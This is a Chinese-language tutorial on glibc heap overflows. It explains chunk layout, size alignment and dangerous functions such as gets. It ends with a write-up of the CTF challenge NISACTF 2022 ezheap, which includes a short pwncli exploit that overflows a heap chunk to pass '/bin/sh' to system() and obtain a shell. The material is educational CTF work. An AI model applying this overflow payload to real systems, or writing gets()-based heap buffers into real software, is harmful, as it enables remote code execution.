堆溢出


介绍

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。

不难发现,堆溢出漏洞发生的基本前提是

  • 程序向堆上写入数据。
  • 写入的数据大小没有被良好地控制。

对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流程。

堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是

  1. 覆盖与其物理相邻的下一个 chunk 的内容。
    • prev_size
    • size,主要有三个比特位,以及该堆块真正的大小。
      • NON_MAIN_ARENA
      • IS_MAPPED
      • PREV_INUSE
      • the True chunk size
    • chunk content,从而改变程序固有的执行流。
  2. 利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。

基本示例

下面我们举一个简单的例子:

1
2
3
4
5
6
7
8
9
#include <stdio.h>  
int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}

这个程序的主要目的是调用 malloc 分配一块堆上的内存,之后向这个堆块中写入一个字符串,如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中 (实际上 puts 内部会调用 malloc 分配堆内存,覆盖到的可能并不是 top chunk)。

1
2
3
4
5
6
7
8
9
10
11
12
0x602000:   0x0000000000000000  0x0000000000000021 <=== chunk 
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000`

print ' A ' * 100 进行写入

0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x4141414141414141 <=== top chunk(已被溢出) 0x602030: 0x4141414141414141 0x4141414141414141
0x602040: 0x4141414141414141 0x4141414141414141

小总结

堆溢出中比较重要的几个步骤:

寻找堆分配函数

通常来说堆是通过调用 glibc 函数malloc进行分配的,在某些情况下会使用calloc分配。callocmalloc的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的

1
2
3
4
calloc(0x20); 
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);

除此之外,还有一种分配是经由realloc进行的,realloc函数可以身兼mallocfree两个函数的功能。

1
2
3
4
5
6
7
8
#include <stdio.h>  
int main(void)
{
char * chunk,* chunk1;
chunk=malloc(16);
chunk1=realloc(chunk,32);
return 0;
}

realloc的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作

  • realloc(ptr,size)size不等于ptrsize
    • 如果申请 size > 原来 size
      • 如果chunktop chunk相邻,直接扩展这个chunk到新size大小
      • 如果chunktop chunk不相邻,相当于free(ptr),malloc(new_size)
    • 如果申请 size < 原来 size
      • 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
      • 如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分
  • 当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
  • 当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有堆溢出,以及有的话,堆溢出的位置在哪里。

常见的危险函数如下

  • 输入
    • gets,直接读取一行,忽略 '\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到 '\x00' 停止
    • strcat,字符串拼接,遇到 '\x00' 停止
    • bcopy

确定填充长度

这一部分主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离。 一个常见的误区是malloc的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)会返回用户区域为 16 字节的块。

1
2
3
4
5
6
7
8
9
#include <stdio.h>  
int main(void)
{
char *chunk;
chunk=malloc(0);
puts("Get input:");
gets(chunk);
return 0;
}
1
2
3
4
5
//根据系统的位数,malloc会分配8或16字节的用户空间 
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000`

注意用户区域的大小不等于chunk_head.sizechunk_head.size = 用户区域大小 + 2 * 字长

还有一点是之前所说的用户申请的内存大小会被修改,其有可能会使用与其物理相邻的下一个 chunk 的 prev_size 字段储存内容。回头再来看下之前的示例代码

1
2
3
4
5
6
7
8
9
#include <stdio.h>  
int main(void)
{
char *chunk;
chunk=malloc(24);
puts("Get input:");
gets(chunk);
return 0;
}

观察如上代码,我们申请的chunk大小是 24 个字节。但是我们将其编译为 64 位可执行程序时,实际上分配的内存会是 16 个字节而不是 24 个。

1
2
3
0x602000:   0x0000000000000000  0x0000000000000021 
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1

16 个字节的空间是如何装得下 24 个字节的内容呢?答案是借用了下一个块的 pre_size 域。我们可来看一下用户申请的内存大小与 glibc 中实际分配的内存大小之间的转换。

1
2
3
4
5
/* pad request bytes into a usable size -- internal version */ //MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1 
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

当 req=24 时,request2size(24)=32。而除去 chunk 头部的 16 个字节。实际上用户可用 chunk 的字节数为 16。而根据我们前面学到的知识可以知道chunkpre_size仅当它的前一块处于释放状态时才起作用。所以用户这时候其实还可以使用下一个chunkprev_size字段,正好 24 个字节。实际上 ptmalloc 分配内存是以双字为基本单位,以 64 位系统为例,分配出来的空间是 16 的整数倍,即用户申请的 chunk 都是 16 字节对齐的。

例题

[NISACTF 2022]ezheap

  1. 查保护

发现为32位程序,没有canary保护和PIE保护。

1
2
3
4
5
6
➜  [NISACTF 2022]ezheap checksec ./pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  1. 分析

分析main函数

程序定义了两个char型指针,并且申请了两个0x16大小的内存块,由指针分别指向。

然后调用puts函数输出了一个字符串。

之后调用了危险函数gets函数向s指针写入内容。

到了这里我们可以判断这是一个堆溢出漏洞,接下来我们结合动态调试来分析利用思路。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *command; // [esp+8h] [ebp-10h]
char *s; // [esp+Ch] [ebp-Ch]

setbuf(stdin, 0);
setbuf(stdout, 0);
s = malloc(0x16u);
command = malloc(0x16u);
puts("Input:");
gets(s);
system(command);
return 0;
}

gdb动态调试

  • 第一次malloc

在进行第一次malloc的之后,我们查看一下堆

发现一共有三个chunk,第一个和第三个chunk我们并不需要关系,我们只关心第二个chunk

第二个chunk大小为0x20,我们malloc分配的时候分配的大小是0x16,并不满足现在的chunk大小,但是我们还要加上prev_sizesize字段,32位程序下的prev_size字段和size字段都是4字节大小,所以0x16加上两个字段大小正好满足0x20chunk大小。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x804b1b8
Size: 0x21e48 (with flag bits: 0x21e49)
  • 第二次malloc

第二次malloc之后我们发现堆中又多了一共chunk,大小也为0x20,对应着我们程序中的command指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x804b1b8
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x804b1d8
Size: 0x21e28 (with flag bits: 0x21e29)

利用vis指令查看可视化堆

0x804b198s指向的chunk0x804b1b8command指向的chunk

我们可以看到,s指向的chunkcommand指向的chunk在内存中是相邻的。

所以gets函数无限制的写入数据会导致数据从s指向的chunk中溢出到command指向的chunk

我们可以实验一下。

1
2
3
4
5
6
7
8
9
0x804b198       0x00000000      0x00000021      ....!...
0x804b1a0 0x00000000 0x00000000 ........
0x804b1a8 0x00000000 0x00000000 ........
0x804b1b0 0x00000000 0x00000000 ........
0x804b1b8 0x00000000 0x00000021 ....!...
0x804b1c0 0x00000000 0x00000000 ........
0x804b1c8 0x00000000 0x00000000 ........
0x804b1d0 0x00000000 0x00000000 ........
0x804b1d8 0x00000000 0x00021e29 ....)...

我们尝试写入0x20长度的a

查看堆发现最下面的chunksize变成了0x61616160,这是因为数据从第一个chunk溢出到了第二个chunk导致修改了第二个chunksize字段

我们知道用户通过malloc分配的内存是只使用user_data部分的,所以我们使用gets函数写入的数据是从s指针chunkuesr_data部分开始写入,而suser_data部分大小为0x18,即我们写入的数据溢出了8个字节覆盖了下一个chunkprev_size字段和size字段。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x804b1b8
Size: 0x61616160 (with flag bits: 0x61616161)

知道了堆溢出的原理后我们继续分析程序,程序在进行读取数据之后将command字段作为system函数参数执行。

前面我们也知道了通过堆溢出我们可以将数据溢出到下一个chunk,即可以从s溢出到command

我们可以通过利用堆溢出从第一个堆块溢出到下一个堆块然后写入/bin/sh\x00字符串,之后由system函数执行获取shell。

system函数执行的内容同样也是chunkuser_data字段,所以我们必须得出溢出到user_data的填充大小。

而前面我们已经知道了是0x20,所以接下来我们可以通过利用思路构造exp。

  1. exp
1
2
3
4
5
6
7
8
9
#!/usr/bin/python3
from pwncli import *

cli_script()

payload=b'a'*0x20+b"/bin/sh\x00"
pause()
s(payload)
ia()

后言

ctf-wiki